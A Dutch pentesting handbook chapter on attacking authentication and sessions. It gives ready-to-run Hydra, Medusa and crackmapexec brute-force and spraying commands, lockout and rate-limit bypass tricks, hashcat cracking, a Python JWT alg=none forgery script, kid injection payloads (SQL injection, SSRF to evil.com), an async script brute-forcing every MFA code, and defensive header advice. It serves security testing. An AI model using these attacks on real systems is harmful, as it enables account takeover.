Authenticatie en Sessiemanagement
In 1774 bouwde Joseph Bramah een slot dat zo ingenieus was dat hij een uitdaging publiceerde: wie het slot kon openen zonder de originele sleutel, zou tweehonderd guineas ontvangen. Het duurde zevenenzestig jaar voordat iemand dat deed. De Amerikaan Alfred Hobbs kraakte het slot in 1851, na zestien dagen onafgebroken prutsen, op de Great Exhibition in Londen. Het publiek was geschokt. Niet omdat het slot was gekraakt, maar omdat het zo lang had geduurd.
Bramah’s slot was een meesterwerk van mechanische complexiteit. Elke sleutel had achttien posities, elk met meerdere mogelijke dieptes. Het totale aantal combinaties was astronomisch voor die tijd. Het was, voor alle praktische doeleinden, onkraakbaar.
Laten we dat even vergelijken met de digitale sleutels die wij gebruiken. Uit elk onderzoek naar gelekte wachtwoorden komt telkens dezelfde beangstigende realiteit naar voren: de populairste wachtwoorden veranderen nauwelijks. “123456” staat al meer dan tien jaar op de eerste plaats. “password” staat consequent in de top vijf. “qwerty” is een evergreen.
Bramah besteedde jaren aan het ontwerpen van een slot met miljoenen mogelijke combinaties. Wij, met alle computerkracht van de eenentwintigste eeuw tot onze beschikking, kiezen collectief voor het equivalent van een deur op het nachtslot: het voelt alsof het dicht is, maar een stevige duw volstaat.
Dit hoofdstuk gaat over alles wat te maken heeft met de vraag “wie ben jij?” en het vervolgvraag “hoe weet ik dat je het nog steeds bent?”. Het gaat over authenticatie – het proces van identiteitsverificatie – en over sessiemanagement – het proces van het onthouden van die verificatie. En het gaat over alle manieren waarop beide kapotgaan.
12.1 Online brute force: de voordeur intrappen
De meest directe aanval op authenticatie is ook de meest elegantloze: probeer wachtwoorden totdat er een werkt. Brute force is de informatica-versie van elke sleutel aan de bos proberen. Het vereist geen intelligentie, geen creativiteit, en geen diep begrip van het doelsysteem. Het vereist alleen geduld en een goede woordlijst.
Online vs offline brute force
Het onderscheid is cruciaal:
Online brute force: Je probeert wachtwoorden tegen een live service. Elke poging vereist een netwerkverzoek. Dit is langzaam (honderden tot duizenden pogingen per seconde), detecteerbaar (elk mislukt verzoek genereert een logbericht), en vaak gelimiteerd (account lockout na X pogingen).
Offline brute force: Je hebt de wachtwoordhashes al bemachtigd (via SQL injection, database dump, of configuratiefout) en kraakt ze lokaal. Dit is snel (miljoenen tot miljarden pogingen per seconde met GPU), ondetecteerbaar (er is geen netwerkverkeer), en niet gelimiteerd (geen lockout).
In dit hoofdstuk richten we ons primair op online brute force bij webapplicaties. Offline cracking komt aan bod als je al toegang hebt tot hashes.
Hydra: de workhorse
THC Hydra is het Zwitserse zakmes van online brute force. Het ondersteunt tientallen protocollen en is het eerste hulpmiddel dat de meeste pentesters pakken.
SSH brute force:
hydra -L users.txt -P passwords.txt ssh://10.0.0.5 -t 4HTTP POST login-formulier:
hydra -L users.txt -P passwords.txt 10.0.0.5 \
http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials" \
-t 4Laten we die laatste regel ontleden, want het formaat is een constante bron van verwarring:
"/login:username=^USER^&password=^PASS^:Invalid credentials"
| | |
| | └── Foutmelding in response
| └── POST-body met placeholders (als je dit ziet: wachtwoord fout)
└── URL van het loginformulier
De drie velden zijn gescheiden door dubbele punten. Het derde veld is de string die Hydra zoekt in de response om te bepalen of een poging is mislukt. Als die string ontbreekt in de response, beschouwt Hydra de poging als succesvol.
HTTP Basic Auth:
hydra -L users.txt -P passwords.txt 10.0.0.5 http-get /admin -t 4Andere protocollen:
# RDP
hydra -L users.txt -P passwords.txt rdp://10.0.0.5 -t 4
# FTP
hydra -L users.txt -P passwords.txt ftp://10.0.0.5 -t 4
# SMB
hydra -L users.txt -P passwords.txt smb://10.0.0.5 -t 4
# MySQL
hydra -L users.txt -P passwords.txt mysql://10.0.0.5 -t 4
# MSSQL
hydra -L users.txt -P passwords.txt mssql://10.0.0.5 -t 4De -t 4 parameter beperkt het aantal parallelle threads
tot vier. Dit is niet alleen beleefd – het voorkomt account lockout. De
meeste lockout-policies tellen mislukte pogingen binnen een tijdvenster.
Vier threads houden het tempo laag genoeg om onder de radar te
blijven.
Medusa: de alternatieve aanpak
Medusa is Hydra’s minder bekende neef. Het doet grotendeels hetzelfde, maar met een net iets andere syntax:
# SSH
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M ssh -t 4
# HTTP Basic Auth
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M http -m DIR:/admin -t 4
# RDP
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M rdp -t 4
# SMB
medusa -h 10.0.0.5 -U users.txt -P passwords.txt -M smbnt -t 4Crowbar: de specialist
Crowbar (voorheen Levye) is gespecialiseerd in een handvol protocollen maar doet die uitzonderlijk goed. Voor RDP-brute force is het betrouwbaarder dan Hydra:
# RDP (betrouwbaarder dan Hydra voor RDP)
crowbar -b rdp -s 10.0.0.5/32 -U users.txt -C passwords.txt -n 1
# SSH key brute force
crowbar -b sshkey -s 10.0.0.5/32 -u root -k /path/to/keys/ -n 1
# OpenVPN
crowbar -b openvpn -s 10.0.0.5/32 -u admin -C passwords.txt \
-c /path/to/config.ovpnDe -n 1 parameter beperkt de threads tot een, wat
langzamer is maar veel minder kans op valse negatieven geeft bij
RDP.
IB – Het command passwd_brute in de
Command Library bevat voorbeeldcommando’s voor Medusa, Hydra, Crowbar en
Ncrack. Elk commando is voorgeconfigureerd met vier threads
(-t 4) om lockout te minimaliseren. De commando’s
verwachten bestanden users.txt en
passwords.txt – gebruik de IB Task Runner om eerst
wachtwoordlijsten te genereren met de gen_passwords
taak.
Rate limiting en lockout bypass
Elke fatsoenlijke applicatie implementeert een vorm van bescherming tegen brute force. De meest voorkomende methoden:
Account lockout: Na X mislukte pogingen wordt het account voor Y minuten vergrendeld. Typisch: 5 pogingen, 30 minuten lockout.
Bypass-strategieen: - Spray in plaats van brute: test een wachtwoord tegen vele accounts (zie 12.2) - IP-rotatie: Sommige lockouts zijn IP-gebonden; wissel van IP via proxy - Wacht op reset: Lockout telt binnen een tijdvenster; wacht dat af
Rate limiting: Beperkt het aantal requests per tijdseenheid, ongeacht de gebruiker.
Bypass-strategieen: - Headers manipulatie: Sommige rate limiters vertrouwen op headers:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 10.0.0.1
X-Originating-IP: 192.168.1.1
- Grote/kleine letters wisselen:
adminvsAdminvsADMIN(soms als verschillende accounts geteld) - Lege parameter toevoegen:
/loginvs/login?x=1vs/login?x=2 - JSON vs form-encoded: Als de applicatie beide accepteert, tellen ze soms als verschillende endpoints
CAPTCHA: De meest effectieve bescherming tegen geautomatiseerde aanvallen.
Bypass-strategieen: - Controleer of CAPTCHA alleen bij de eerste poging wordt gevraagd - Controleer of de CAPTCHA server-side wordt gevalideerd - Controleer of hetzelfde CAPTCHA-token herhaald kan worden
12.2 Password spraying: de slimme brute force
Klassieke brute force probeert duizenden wachtwoorden tegen een account. Password spraying draait dat om: het probeert een wachtwoord tegen duizenden accounts.
Het verschil is niet alleen tactisch – het is strategisch. Brute force triggert lockout-policies omdat het herhaaldelijk hetzelfde account bestookt. Spraying vermijdt lockout door elk account slechts een of twee keer te proberen per tijdvenster.
En het werkt. In elke organisatie van meer dan honderd medewerkers is er vrijwel altijd iemand die “Welkom01!” als wachtwoord heeft. Of “Zomer2026!”. Of “[Bedrijfsnaam]1!”. Het zijn wachtwoorden die net complex genoeg zijn om aan het wachtwoordbeleid te voldoen – een hoofdletter, een cijfer, een speciaal teken, acht karakters – maar voorspelbaar genoeg om te raden.
Waarom seizoensgebonden wachtwoorden een goudmijn zijn
Veel organisaties dwingen wachtwoordwijzigingen af elke 90 dagen. Het gevolg is voorspelbaar: mensen kiezen wachtwoorden die het seizoen of de maand bevatten, gevolgd door het jaar en een uitroepteken.
Lente2026!
Spring2026!
Zomer2026!
Summer2026!
Welkom2026!
Welcome2026!
Januari2026!
Dit is het directe resultaat van wachtwoordbeleid dat complexiteit afdwingt maar voorspelbaarheid niet meet. Het beleid zegt: “je wachtwoord moet minstens acht tekens bevatten, met een hoofdletter, een cijfer, en een speciaal teken.” Het beleid zegt niet: “je wachtwoord mag niet het huidige seizoen zijn, gevolgd door het jaartal, afgesloten met een uitroepteken.”
Het spray-protocol
Stap 1: Lockout policy controleren
Voordat je sprayt, moet je weten hoeveel pogingen je hebt. Dit is niet optioneel – het is essentieel. Zonder deze informatie kun je honderden accounts locken en een beveiligingsincident veroorzaken.
# Vanuit een domein-machine:
net accounts /domain
# Via crackmapexec (anoniem, als dat lukt):
crackmapexec smb 10.0.0.1 -u '' -p '' --pass-pol
# Via PowerView:
Get-DomainPolicy | select -ExpandProperty SystemAccessRelevante waarden: - Lockout threshold: aantal pogingen voordat het account wordt vergrendeld - Lockout observation window: het tijdvenster waarin pogingen worden geteld - Lockout duration: hoe lang het account vergrendeld blijft
Stap 2: Gebruikersnamen verzamelen
Je hebt een lijst van geldige gebruikersnamen nodig. Meerdere methoden:
# Kerbrute user enumeration (genereert GEEN lockout-events!)
kerbrute userenum -d CONTOSO.LOCAL --dc 10.0.0.1 \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# LDAP query (als anonymous bind is toegestaan)
ldapsearch -x -H ldap://10.0.0.1 \
-b "DC=contoso,DC=local" "(objectClass=user)" sAMAccountName \
| grep sAMAccountName
# RID brute force via crackmapexec
crackmapexec smb 10.0.0.1 -u '' -p '' --rid-bruteKerbrute is de voorkeursmethode: het genereert geen mislukte login-events in de eventlog, dus het triggert geen alarmen.
Stap 3: Spray – een wachtwoord per ronde
Het gouden principe: nooit meer dan een wachtwoord per lockout window.
# crackmapexec: de standaardtool voor AD spraying
crackmapexec smb 10.0.0.1 -u users.txt -p 'Zomer2026!' \
-d CONTOSO --continue-on-success
# Kerbrute: sneller, minder logs
kerbrute passwordspray -d CONTOSO.LOCAL --dc 10.0.0.1 \
users.txt 'Zomer2026!'
# Spray via WinRM (als poort 5985 open is)
crackmapexec winrm 10.0.0.1 -u users.txt -p 'Welkom01!' -d CONTOSO
# Spray via LDAP
crackmapexec ldap 10.0.0.1 -u users.txt -p 'Welkom01!' -d CONTOSODe --continue-on-success flag is belangrijk: zonder deze
flag stopt crackmapexec bij de eerste hit. Met de flag gaat het door,
zodat je alle accounts met hetzelfde wachtwoord vindt.
Stap 4: Wacht, en spray opnieuw
Na elke ronde wacht je op het lockout window voordat je het volgende wachtwoord probeert:
# Geautomatiseerd spray-script met wachttijd
for pw in 'Zomer2026!' 'Welkom01!' 'Contoso2026!' 'Password1!'; do
echo "[$(date)] Spray: $pw"
crackmapexec smb 10.0.0.1 -u users.txt -p "$pw" \
-d CONTOSO --continue-on-success
echo "[$(date)] Wacht 35 minuten voor volgende ronde..."
sleep 2100 # 35 minuten
doneDe wachttijd van 35 minuten is een veiligheidsmarge boven het typische lockout window van 30 minuten. Beter vijf minuten langer wachten dan honderden accounts locken.
IB – Het command passwd_spray bevat het
volledige spray-protocol: lockout policy ophalen, usernames enumereren,
spray-commando’s voor SMB, WinRM en LDAP, en een spray-script met
ingebouwde wachttijd. De veelgebruikte seizoensgebonden wachtwoorden
staan erin als startpunt. Pas ze aan naar de taal en naamgeving van de
doelorganisatie.
12.3 Woordlijsten: de munitie
Een brute force-aanval is slechts zo goed als zijn woordlijst. Met een slechte lijst kun je uren draaien zonder resultaat. Met een goede lijst heb je binnen minuten een hit.
De klassieken
RockYou: De woordlijst die uit een datalek van 2009 komt en sindsdien de standaard is geworden. Ruim 14 miljoen unieke wachtwoorden, gesorteerd op frequentie. Als je een brute force start zonder na te denken, is RockYou een redelijk startpunt.
# Locatie op Kali Linux:
/usr/share/wordlists/rockyou.txtSecLists: Een gecureerde collectie van woordlijsten voor beveiligingstesting. Bevat wachtwoorden, gebruikersnamen, URL-patronen, en meer.
# Wachtwoorden:
/usr/share/seclists/Passwords/Common-Credentials/
/usr/share/seclists/Passwords/Default-Credentials/
# Gebruikersnamen:
/usr/share/seclists/Usernames/Names/names.txtMaatwerk woordlijsten met CeWL
CeWL (Custom Word List generator) scrapt een website en bouwt een woordlijst op basis van de woorden die erop staan. Dit is bijzonder effectief bij bedrijfsspecifieke wachtwoorden:
# Scrape de bedrijfswebsite, 3 niveaus diep, minimaal 5 karakters
cewl https://target-company.nl -d 3 -m 5 -w cewl_wordlist.txt
# Met e-mailadressen (handig voor gebruikersnamen)
cewl https://target-company.nl -d 3 -m 5 \
-e --email_file emails.txt -w cewl_wordlist.txt
# Met metadata uit documenten
cewl https://target-company.nl --meta --meta_file meta.txt \
-w cewl_wordlist.txtEen bedrijf dat “Horizon” heet, gevestigd in Amsterdam, met een product genaamd “SkyView”, zal medewerkers hebben met wachtwoorden als “Horizon2026!”, “SkyView1!”, “Amsterdam01!”. CeWL vindt die woorden op de website, en vervolgens kunnen we ze muteren.
Patroongebaseerde lijsten met Crunch
Crunch genereert woordlijsten op basis van patronen. Als je weet hoe het wachtwoordbeleid eruitziet, kun je gerichte lijsten genereren:
# Syntax: crunch <min_lengte> <max_lengte> <charset> -o output.txt
# Bedrijfsnaam + 2 cijfers + speciaal teken
# @ = lowercase, , = uppercase, % = nummer, ^ = symbool
crunch 10 10 -t Company%%^^ -o company_passwords.txt
# Genereert: Company00!!, Company01!", Company02!#, ...
# Alle 6-cijferige pincodes
crunch 6 6 0123456789 -o pins.txt
# Genereert: 000000 t/m 999999
# Naam + 4 cijfers
crunch 8 8 -t @@@@%%%% -o names_numbers.txt
# Genereert: aaaa0000 t/m zzzz9999Waarschuwing: crunch kan enorme lijsten genereren.
crunch 8 8 aA1! genereert alle combinaties van 8 tekens uit
het charset aA1! – dat zijn 4^8 = 65.536 mogelijkheden.
Lijkt beheersbaar. Maar
crunch 8 8 abcdefghijklmnopqrstuvwxyz genereert 26^8 =
208.827.064.576 mogelijkheden. Dat is meer dan tweehonderd miljard
regels.
Wachtwoord mutatie regels
De echte kracht zit in het muteren van bestaande woorden. John the Ripper en Hashcat hebben ingebouwde regel-engines die een woord systematisch transformeren:
# John the Ripper rules
john --wordlist=base_words.txt --rules=best64 --stdout > mutated.txt
john --wordlist=base_words.txt --rules=KoreLogic --stdout > mutated.txt
# Hashcat rules
hashcat -r /usr/share/hashcat/rules/best64.rule \
--stdout base_words.txt > mutated.txt
# Meerdere regelsets combineren
hashcat -r rule1.rule -r rule2.rule --stdout base_words.txt > mutated.txtWat doen deze regels? Ze nemen een basiswoord en passen transformaties toe:
| Invoer | Regel | Uitvoer |
|---|---|---|
horizon |
Capitalize | Horizon |
horizon |
Append 123 |
horizon123 |
horizon |
Capitalize + append ! |
Horizon! |
horizon |
Capitalize + append 2026! |
Horizon2026! |
horizon |
l33tspeak | h0r1z0n |
horizon |
Reverse | noziroh |
horizon |
Duplicate | horizonhorizon |
De best64 regelset bevat de 64 meest effectieve
transformaties. De KoreLogic regelset is uitgebreider maar
langzamer. En dan is er OneRuleToRuleThemAll – een
gecombineerde regelset die beweert de meest effectieve set ooit te
zijn.
# De meest nuttige ingebouwde regelsets:
/usr/share/hashcat/rules/best64.rule
/usr/share/hashcat/rules/rockyou-30000.rule
/usr/share/hashcat/rules/OneRuleToRuleThemAll.ruleHet optimale recept
Combineer alle technieken voor de meest effectieve aanpak:
# 1. Scrape de bedrijfswebsite
cewl https://target-company.nl -d 3 -m 5 -w base_words.txt
# 2. Voeg seizoensgebonden patronen toe
crunch 10 12 -t Horizon%%^^ >> base_words.txt
crunch 10 12 -t Zomer%%%%^^ >> base_words.txt
# 3. Muteer alles
hashcat -r /usr/share/hashcat/rules/best64.rule \
--stdout base_words.txt | sort -u > final_wordlist.txt
# 4. Gebruik de lijst
hydra -L users.txt -P final_wordlist.txt 10.0.0.5 \
http-post-form \
"/login:user=^USER^&pass=^PASS^:Invalid" -t 4IB – Het command passwd_wordlist bevat
het volledige recept: CeWL voor website-scraping, Crunch voor
patroongebaseerde generatie, en John/Hashcat rules voor mutatie. De IB
Task Runner heeft de taak gen_passwords die automatisch
wachtwoordvariaties genereert naar
meuk/wordlists/passwords.txt. Start deze taak vanuit het
Tasks-dashboard voordat je een brute force begint.
12.4 Offline hash cracking
Wanneer je database-toegang hebt verkregen (via SQL injection, een dump, of een configuratiefout), en de wachtwoorden zijn gehasht, schakel je over naar offline cracking. Dit is ordes van grootte sneller dan online brute force.
John the Ripper
# Basis: woordlijst-aanval
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Met regels voor mutatie
john --wordlist=/usr/share/wordlists/rockyou.txt \
--rules=best64 hashes.txt
# Resultaten bekijken
john --show hashes.txtHashcat
Hashcat is sneller dan John, vooral met GPU-ondersteuning. Het
mode-nummer geeft het hash-type aan:
# NTLM hashes (mode 1000)
hashcat -m 1000 ntlm_hashes.txt \
/usr/share/wordlists/rockyou.txt
# Kerberoast TGS hashes (mode 13100)
hashcat -m 13100 tgs_hashes.txt \
/usr/share/wordlists/rockyou.txt
# AS-REP hashes (mode 18200)
hashcat -m 18200 asrep_hashes.txt \
/usr/share/wordlists/rockyou.txt
# NetNTLMv2 hashes (mode 5600)
hashcat -m 5600 netntlm_hashes.txt \
/usr/share/wordlists/rockyou.txt
# Met regels
hashcat -m 1000 hashes.txt \
/usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule| Hash type | Hashcat mode | Typische snelheid (RTX 4090) |
|---|---|---|
| MD5 | 0 | ~160 miljard/s |
| SHA-256 | 1400 | ~22 miljard/s |
| bcrypt (cost 10) | 3200 | ~180 duizend/s |
| NTLM | 1000 | ~300 miljard/s |
| NetNTLMv2 | 5600 | ~12 miljard/s |
Kijk naar die cijfers. MD5 en NTLM: honderden miljarden pogingen per seconde. Bcrypt: honderdtachtigduizend. Dat verschil – een factor van bijna twee miljoen – is het verschil tussen een veilig en een onveilig opgeslagen wachtwoord. Bcrypt is niet beter omdat het wiskundig eleganter is. Het is beter omdat het langzaam is.
12.5 Sessiemanagement: het geheugen van het web
HTTP is stateless. De server onthoudt niets tussen twee requests. Dit is een fundamentele ontwerpkeuze die het web schaalbaar maakt, maar die ook betekent dat we een kunstmatig geheugen moeten bouwen bovenop een protocol dat collectief geheugenverlies heeft.
Dat geheugen noemen we een sessie, en de sleutel tot dat geheugen noemen we een session token.
Session tokens: entropie en voorspelbaarheid
Een session token moet drie eigenschappen hebben:
- Voldoende entropie: Het moet onmogelijk zijn om het token te raden. Minimaal 128 bits aan randomness.
- Onvoorspelbaarheid: Het volgende token mag niet afleidbaar zijn uit voorgaande tokens.
- Uniciteit: Elk token mag maar een keer voorkomen.
Slechte session tokens die we in het wild zijn tegengekomen:
# Sequentieel
session_id=10001
session_id=10002
session_id=10003
# Timestamp-based
session_id=1708765432
session_id=1708765433
# Base64-encoded user info
session_id=YWRtaW46dHJ1ZQ== # base64("admin:true")
session_id=dXNlcjpmYWxzZQ== # base64("user:false")
# MD5 van username
session_id=21232f297a57a5a743894a0e4a801fc3 # md5("admin")
Elk van deze tokens is voorspelbaar of manipuleerbaar. Een sequentieel token betekent dat je de sessie van de volgende gebruiker kunt raden. Een timestamp-based token kun je berekenen als je het tijdstip van inloggen weet. Een base64-encoded token kun je decoderen en wijzigen.
Session fixation
Bij session fixation dwingt de aanvaller een bekend session token op aan het slachtoffer voordat het slachtoffer inlogt:
1. Aanvaller bezoekt de site en ontvangt session_id=ABC123
2. Aanvaller stuurt link naar slachtoffer:
https://target.com/login?session_id=ABC123
3. Slachtoffer klikt, logt in
4. De server koppelt het bestaande session_id=ABC123 aan de ingelogde sessie
5. Aanvaller gebruikt session_id=ABC123 — is nu ingelogd als slachtoffer
De fix is simpel: genereer altijd een nieuw session token na succesvolle authenticatie. Nooit hergebruiken.
Session hijacking
Session hijacking is het stelen van een actief session token. Methoden:
- XSS: JavaScript leest
document.cookieen stuurt het naar de aanvaller - Network sniffing: Op onversleutelde verbindingen zijn cookies zichtbaar
- Man-in-the-middle: Zelfs met HTTPS, via SSL-stripping of valse certificaten
- Voorspelling: Als tokens voorspelbaar zijn (zie hierboven)
- Fysieke toegang: Cookies in de browser lezen
De HttpOnly flag op cookies voorkomt dat JavaScript ze
kan lezen, wat XSS- gebaseerde session hijacking blokkeert. De
Secure flag voorkomt dat cookies over onversleutelde
verbindingen worden verstuurd.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
Elke sessiecookie zonder deze drie flags (HttpOnly,
Secure, SameSite) is een bevinding.
12.6 JWT-aanvallen: de token die zichzelf vertrouwt
JSON Web Tokens (JWTs) zijn een populair alternatief voor server-side sessies. In plaats van een sessie-ID die verwijst naar data op de server, bevat een JWT de data zelf, ondertekend met een geheim.
Een JWT bestaat uit drie delen, gescheiden door punten:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoic3VwZXJ1c2VyIn0.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Gedecodeerd:
// Header
{"alg": "HS256", "typ": "JWT"}
// Payload
{"user": "admin", "role": "superuser"}
// Signature
HMACSHA256(base64(header) + "." + base64(payload), secret)De server verifieert de signature om te bevestigen dat de payload niet is gewijzigd. Maar er zijn meerdere manieren om dit te omzeilen.
Aanval 1: Algorithm None
De JWT-specificatie ondersteunt een alg: "none" optie,
die de signature overslaat. Als de server dit accepteert:
// Origineel
{"alg": "HS256", "typ": "JWT"}
// Gewijzigd
{"alg": "none", "typ": "JWT"}import base64
import json
# Header: algorithm none
header = base64.urlsafe_b64encode(
json.dumps({"alg": "none", "typ": "JWT"}).encode()
).rstrip(b'=').decode()
# Payload: maak jezelf admin
payload = base64.urlsafe_b64encode(
json.dumps({"user": "attacker", "role": "admin"}).encode()
).rstrip(b'=').decode()
# Signature: leeg (want alg=none)
forged_jwt = f"{header}.{payload}."
print(forged_jwt)Aanval 2: Algorithm Confusion (RS256 naar HS256)
Als de server RS256 (asymmetrisch) gebruikt maar ook HS256 (symmetrisch) accepteert, kun je de publieke sleutel (die openbaar is) gebruiken als HMAC-secret:
Normaal (RS256):
- Server signeert met PRIVATE key
- Server verifieert met PUBLIC key
Aanval (HS256):
- Aanvaller signeert met de PUBLIC key als HMAC-secret
- Server verifieert met de PUBLIC key als HMAC-secret
- Signature klopt!
Dit werkt omdat bij HS256 dezelfde sleutel voor signen en verifieren wordt gebruikt. Als de server de publieke RSA-sleutel gebruikt voor verificatie en het algoritme wordt gewijzigd naar HS256, gebruikt de server die publieke sleutel als HMAC-secret – en de aanvaller kent die sleutel.
Aanval 3: Weak Secrets
Veel JWT-implementaties gebruiken simpele strings als HMAC-secret:
# Crack JWT secret met hashcat
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt
# Of met jwt_tool
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txtVeelgebruikte zwakke secrets: secret,
password, key, 12345678, de
bedrijfsnaam, of de naam van het framework.
Aanval 4: KID injection
Het kid (Key ID) veld in de JWT-header vertelt de server
welke sleutel hij moet gebruiken voor verificatie. Als deze waarde niet
wordt gevalideerd:
// SQL Injection in kid
{"alg": "HS256", "kid": "1' UNION SELECT 'known-secret' -- ", "typ": "JWT"}
// Path traversal in kid
{"alg": "HS256", "kid": "/dev/null", "typ": "JWT"}
// Secret wordt gelezen uit /dev/null = leeg = sign met lege string
// SSRF in kid
{"alg": "HS256", "kid": "https://evil.com/key.txt", "typ": "JWT"}IB – Voor JWT-analyse gebruik je tools als
jwt_tool of jwt.io. Controleer altijd:
accepteert de server alg: "none"? Is het HMAC-secret te
kraken? Kan het kid-veld worden gemanipuleerd? Dit zijn de
drie meest voorkomende JWT-kwetsbaarheden en ze komen vaker voor dan je
zou verwachten.
12.7 Multi-factor authenticatie bypass
MFA is de gouden standaard van authenticatie. Maar “gouden standaard” betekent niet “onkwetsbaar”. Er zijn meerdere manieren om MFA te omzeilen.
Race conditions
Sommige MFA-implementaties controleren de code asynchroon. Als je meerdere requests tegelijk stuurt met verschillende codes:
import asyncio
import aiohttp
async def try_code(session, code):
async with session.post('https://target.com/mfa/verify',
json={'code': code},
cookies={'session': 'abc123'}) as resp:
if resp.status == 200:
text = await resp.text()
if 'success' in text.lower():
print(f'Code gevonden: {code}')
async def main():
async with aiohttp.ClientSession() as session:
# Genereer alle mogelijke 6-cijferige codes
tasks = [try_code(session, f'{i:06d}') for i in range(1000000)]
# Stuur ze allemaal tegelijk (in batches)
for batch in [tasks[i:i+100] for i in range(0, len(tasks), 100)]:
await asyncio.gather(*batch)
asyncio.run(main())Dit werkt als de server de rate limiting per-code in plaats van per-sessie implementeert, of als de rate limiting simpelweg ontbreekt op het MFA-endpoint.
Response manipulation
Sommige applicaties controleren MFA client-side in plaats van server-side. Intercept de response en wijzig het resultaat:
Originele response:
{"success": false, "message": "Invalid code"}
Gemanipuleerde response:
{"success": true, "message": "Valid code"}
Als de applicatie op basis van deze response beslist of je wordt doorgelaten, ben je binnen.
Backup codes en herstelmechanismen
MFA-herstelmechanismen zijn vaak de zwakste schakel:
- Backup codes: Vaak een lijst van 8-10 codes, opgeslagen in plain text of in een bestand op het bureaublad
- SMS-verificatie: Kwetsbaar voor SIM-swapping
- Beveiligingsvragen: “Wat is de naam van je eerste huisdier?” (staat op Facebook)
- E-mail fallback: Als het e-mailaccount is overgenomen, is MFA waardeloos
12.8 Security headers: het schild van de server
HTTP security headers zijn de eerste verdedigingslinie. Ze kosten niets om te implementeren, voegen geen complexiteit toe aan de code, en beschermen tegen een breed scala aan aanvallen. En toch ontbreken ze op een verbijsterend percentage van de websites die we testen.
De essentials
HSTS (HTTP Strict Transport Security)
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Vertelt de browser: “Gebruik alleen HTTPS. Altijd. Geen uitzonderingen.” Voorkomt SSL-stripping aanvallen en onbedoeld HTTP-verkeer.
X-Content-Type-Options
X-Content-Type-Options: nosniff
Voorkomt dat de browser het content-type raadt (MIME-sniffing). Zonder deze header kan een browser een geupload bestand dat eruitziet als een afbeelding maar JavaScript bevat, als script uitvoeren.
X-Frame-Options
X-Frame-Options: DENY
Voorkomt dat de pagina in een iframe kan worden geladen. Beschermt tegen clickjacking (zie Hoofdstuk 11).
Content-Security-Policy
Content-Security-Policy: default-src 'self';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
frame-ancestors 'none';
De meest uitgebreide security header. CSP definieert welke bronnen de browser mag laden voor elk type content. Een restrictieve CSP blokkeert XSS, data- exfiltratie, en clickjacking in een keer.
Referrer-Policy
Referrer-Policy: strict-origin-when-cross-origin
Beperkt welke informatie de browser meestuurt in de
Referer header. Voorkomt dat interne URL-structuren lekken
naar externe sites.
Permissions-Policy
Permissions-Policy: camera=(), microphone=(), geolocation=()
Blokkeert toegang tot gevoelige browser-API’s. Voorkomt dat een XSS-payload de webcam of microfoon activeert.
Cookie-flags
Elke sessiecookie moet drie flags hebben:
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
| Flag | Beschermt tegen | Effect |
|---|---|---|
Secure |
Network sniffing | Cookie wordt alleen via HTTPS verstuurd |
HttpOnly |
XSS-cookie-diefstal | JavaScript kan het cookie niet lezen |
SameSite=Lax |
CSRF | Cookie wordt niet meegestuurd bij cross-site POST |
12.9 De IB Task Runner voor brute force
Incompetent Bastard bevat een Task Runner die je brute
force-aanvallen laat starten en monitoren vanuit het dashboard. De Task
Runner is geimplementeerd in meuk/flask/tasks.py en
gebruikt een allowlist-model: alleen voorgedefinieerde taken kunnen
worden uitgevoerd.
Architectuur van de Task Runner
De Task Runner is bewust restrictief ontworpen:
# Alleen deze taken kunnen worden uitgevoerd
_TASKS = {
"gen_passwords": {
"label": "Generate password wordlist",
"group": "brute",
"cmd": ["bash", "gen_passwords.sh"],
},
"brute_ssh": {
"label": "Brute force SSH",
"group": "brute",
"cmd": ["bash", "brute_ssh.sh"],
"args": [
{"name": "scanfile", "pattern": "safe_name", "required": True},
],
},
"brute_rdp": {
"label": "Brute force RDP",
"group": "brute",
"cmd": ["bash", "brute_rdp.sh"],
"args": [
{"name": "scanfile", "pattern": "safe_name", "required": True},
],
},
"brute_vpn": {
"label": "Brute force VPN",
"group": "brute",
"cmd": ["bash", "brute_vpn.sh"],
"args": [
{"name": "scanfile", "pattern": "safe_name", "required": True},
],
},
# ...
}Elk argument wordt gevalideerd met een regex-patroon:
_RE_SAFE_NAME = re.compile(r"^[a-zA-Z0-9_\-]+$") # Alfanumeriek + _ -
_RE_IP_OR_IFACE = re.compile(r"^[a-zA-Z0-9._:/%\-]+$") # IP-adressen, interfacesDit voorkomt command injection: een aanvaller kan geen
shell-metacharacters (; | & $) injecteren via de
argumenten. Bovendien draait elke taak met shell=False, wat
betekent dat het commando direct wordt uitgevoerd zonder een shell als
tussenlaag.
Brute force starten via het dashboard
1. Open het IB dashboard: http://127.0.0.1:5000
2. Navigeer naar Tasks
3. Selecteer de "Brute Force" groep
4. Klik op "Generate password wordlist" → Start
5. Wacht tot de woordlijst is gegenereerd
6. Klik op "Brute force SSH" (of RDP, of VPN)
7. Vul de scan naam in (bijv. "pentest-2026")
8. Klik op Start
Output monitoren via de API
De Task Runner biedt een REST API voor het opvragen van de status:
# Start een taak
curl -X POST http://127.0.0.1:5000/api/tasks/run \
-H "Content-Type: application/json" \
-d '{"task": "brute_ssh", "args": {"scanfile": "engagement-name"}}'
# Response:
# {"run_id": "a1b2c3d4-...", "task": "brute_ssh"}
# Controleer de status
curl http://127.0.0.1:5000/api/tasks/runs/a1b2c3d4-...
# Response bevat: status, output, return_codeDe output wordt opgeslagen in een deque van maximaal 500 regels
(_MAX_OUTPUT_LINES = 500). Taken hebben een maximale
runtime van 600 seconden (_MAX_RUNTIME_SECONDS = 600) en
worden daarna automatisch afgebroken.
